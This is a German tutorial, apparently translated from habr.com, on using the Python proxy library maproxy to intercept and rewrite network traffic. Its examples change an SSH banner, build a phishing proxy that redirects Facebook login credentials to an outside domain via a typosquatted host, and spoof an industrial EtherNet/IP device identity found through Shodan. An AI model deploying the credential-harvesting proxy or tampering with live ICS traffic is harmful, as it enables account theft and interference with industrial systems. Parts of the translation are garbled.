Der Artikel wurde im Vorfeld des Kurses erstellt .

Zusammenfassung
Verschiedene Arten der Sicherheitsbewertung, von regelmĂ€Ăigen Penetrationstests und Red Team-Operationen bis hin zum Hacken von IoT/ICS-GerĂ€ten und SCADA, umfassen die Arbeit mit binĂ€ren Netzwerkprotokollen, also im Grunde den Abgriff und die Modifikation von Netzwerkdaten zwischen dem Client und dem Ziel. Das Sniffen von Netzwerkverkehr ist keine schwierige Aufgabe, da wir Werkzeuge wie Wireshark, Tcpdump oder Scapy haben, jedoch stellt die Modifikation eine arbeitsintensivere Aufgabe dar, da wir eine Art Schnittstelle benötigen, um die Netzwerkdaten zu lesen, zu filtern, in Echtzeit zu Ă€ndern und zurĂŒck an den Zielhost zu senden. Zudem wĂ€re es ideal, wenn ein solches Werkzeug automatisch mit mehreren parallelen Verbindungen arbeiten könnte und die Möglichkeit zur Anpassung durch Skripte hĂ€tte.
Eines Tages entdeckte ich ein Werkzeug, das called , die Dokumentation lieĂ mich schnell verstehen, dass maproxy â genau das, was ich brauche. Es handelt sich um einen recht einfachen, universellen und leicht konfigurierbaren TCP-Proxy. Ich habe dieses Tool mit mehreren ausreichend komplexen Anwendungen getestet, einschlieĂlich ICS-GerĂ€te (die viele Pakete erzeugen), um herauszufinden, ob es mit vielen parallelen Verbindungen umgehen kann, und das Tool hat sich gut geschlagen.
Dieser Artikel wird Sie mit der Verarbeitung von Netzwerkdaten in Echtzeit mithilfe von maproxy.
Ăbersicht
Ein Tool maproxy basierend auf Tornado â einem beliebten und leistungsfĂ€higen asynchronen Netzwerk-Framework in Python.
Insgesamt kann es in mehreren Modi arbeiten:
TCP:TCPâ unverschlĂŒsselte TCP-Verbindungen;TCP:SSLundSSL:TCPâ mit einseitiger VerschlĂŒsselung;SSL:SSLâ beidseitige VerschlĂŒsselung.
Es wird als Bibliothek bereitgestellt. FĂŒr einen schnellen Einstieg können Sie die Beispiel-Dateien verwenden, die die grundlegenden :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Fall 1 â einfacher bidirektionaler Proxy
Basierend auf tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() StandardmĂ€Ăig ProxyServer() nimmt zwei Argumente entgegen â die Verbindung und den Zielport. server.listen() nimmt ein Argument entgegen â den Port fĂŒr die Annahme eingehender Verbindungen.
AusfĂŒhren des Skripts:
# python tcp2tcp.py Um den Test durchzufĂŒhren, werden wir uns ĂŒber unser Proxy-Skript mit einem lokalen SSH-Server verbinden, das auf 2222/tcp hört und sich mit dem Standardport 22/tcp des SSH-Servers verbindet:

Das Willkommensbanner zeigt, dass unser Beispiel-Skript den Netzwerkverkehr erfolgreich proxied.
Fall 2 â Datenmodifikation
Ein weiteres Demskript logging_proxy.py eignet sich hervorragend zur Interaktion mit Netzwerkdaten. Die Kommentare in der Datei beschreiben die Klassenmethoden, die Sie Àndern können, um Ihr Ziel zu erreichen:

Das Interessanteste hier ist:
on_c2p_done_readâ zum Abfangen von Daten auf dem Weg vom Client zum Server;on_p2s_done_readâ in umgekehrter Richtung.
Lassen Sie uns versuchen, das SSH-Banner zu Ă€ndern, das der Server an den Client zurĂŒckgibt:
[âŠ]
def on_p2s_done_read(self, data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession, self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("localhost", 22)
server.listen(2222)
[âŠ]FĂŒhren Sie das Skript aus:

Wie Sie sehen, wurde der Client in die Irre gefĂŒhrt, da der Name des SSH-Servers fĂŒr ihn auf "DumnySSH".

umgeÀndert wurde.
Fall 3 â einfache Phishing-Webseite m.facebook.com und verwenden wir eine benutzerdefinierte Domain mit absichtlichem Tippfehler, zum Beispiel m.facebok.com. Zum Zwecke der Demonstration nehmen wir einfach an, dass die Domain von uns registriert wurde.
Wir werden eine unverschlĂŒsselte Netzwerkverbindung zu unserem Opfer-Proxy und einen SSL-Stream fĂŒr den Facebook-Server einrichten (31.13.81.36). Damit dieses Beispiel funktioniert, mĂŒssen wir den HTTP-Host-Header Ă€ndern und den richtigen Hostnamen einfĂŒgen, auĂerdem deaktivieren wir die Komprimierung der Antworten, um leichten Zugriff auf deren Inhalt zu erhalten. SchlieĂlich ersetzen wir das HTML-Formular, damit die Anmeldedaten an uns gesendet werden, anstatt an die Server von Facebook:
[âŠ]
def on_c2p_done_read(self,data):
# Host-Header ersetzen
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# Kompression deaktivieren
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[âŠ]
def on_p2s_done_read(self,data):
# partielle Ersetzung der Antwort
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[âŠ]"Ergebnis:

Wie Sie sehen können, konnten wir die Originalseite erfolgreich ersetzen.
Fall 4 â Ethernet/IP modifizieren
Ich habe lange mit IndustriegerĂ€ten und -software (ICS / SCADA) zu tun gehabt, wie beispielsweise speicherprogrammierbare Steuerungen (SPS), Ein- und Ausgabemodule, Antriebe, Relais, Treppenprogrammiersprachen und vieles mehr. Dieser Fall ist fĂŒr diejenigen, die industrielle Dinge mögen. Das Hacken solcher Lösungen erfordert ein aktives Spiel mit Netzwerkprotokollen. Im nĂ€chsten Beispiel möchte ich zeigen, wie Sie den Netzwerkverkehr von ICS/SCADA modifizieren können.
DafĂŒr benötigen Sie Folgendes:
- Einen Netzwerksniffer, wie Wireshark;
- Ein Ethernet/IP- oder einfach SIP-GerÀt, das Sie mit dem Shodan-Dienst finden können;
- Unser Skript basiert auf
maproxy.
ZunÀchst schauen wir uns an, wie eine typische Identifikationsantwort vom CIP (Common Industrial Protocol) aussieht:

Die GerĂ€teidentifikation erfolgt ĂŒber das Ethernet/IP-Protokoll, das eine erweiterte Version des Ethernet-Protokolls fĂŒr industrielle Anwendungen ist und Protokolle wie CIP einbettet. Wir werden den spezifischen Identifikationsnamen Ă€ndern, der im Screenshot sichtbar ist âNI-IndComm for Ethernetâ mit unserem Proxy-Skript. Wir könnten das Skript wiederverwenden logging_proxy.py und analog die Klassenmethode modifizieren on_p2s_done_read, da wir möchten, dass auf dem Client ein anderer Identifikationsname sichtbar ist.
Code:
[âŠ]
def on_p2s_done_read(self,data):
# Teilweiser Ersatz der Antwort
# ĂberprĂŒfung, ob wir die List Identity-Nachricht erhalten haben
if data[26:28] == b'x0cx00':
print('Antwort erhalten, ersetzen')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[âŠ]
Im Grunde haben wir die GerÀteidentifikation zweimal angefordert, die zweite Antwort ist die Originalantwort, und die erste wurde zur Laufzeit modifiziert.
Und zuletzt
Meiner Meinung nach maproxy Ein praktisches und einfaches Tool, das zudem in Python geschrieben ist, weshalb ich der Meinung bin, dass auch Sie von seiner Nutzung profitieren können. NatĂŒrlich gibt es komplexere Werkzeuge zur Verarbeitung und Modifikation von Netzwerkdaten, die jedoch auch mehr Aufmerksamkeit erfordern und typischerweise fĂŒr spezifische Anwendungsszenarien entwickelt werden, zum Beispiel, , oder fĂŒr FĂ€lle, die dem dritten Ă€hneln, oder fĂŒr den letzten Fall. So oder so, mit Hilfe von maproxy werden Sie Ihre Ideen zur Abfangung von Netzwerkdaten schnell umsetzen können, da die Beispielskripte sehr anschaulich sind.
Quelle: habr.com
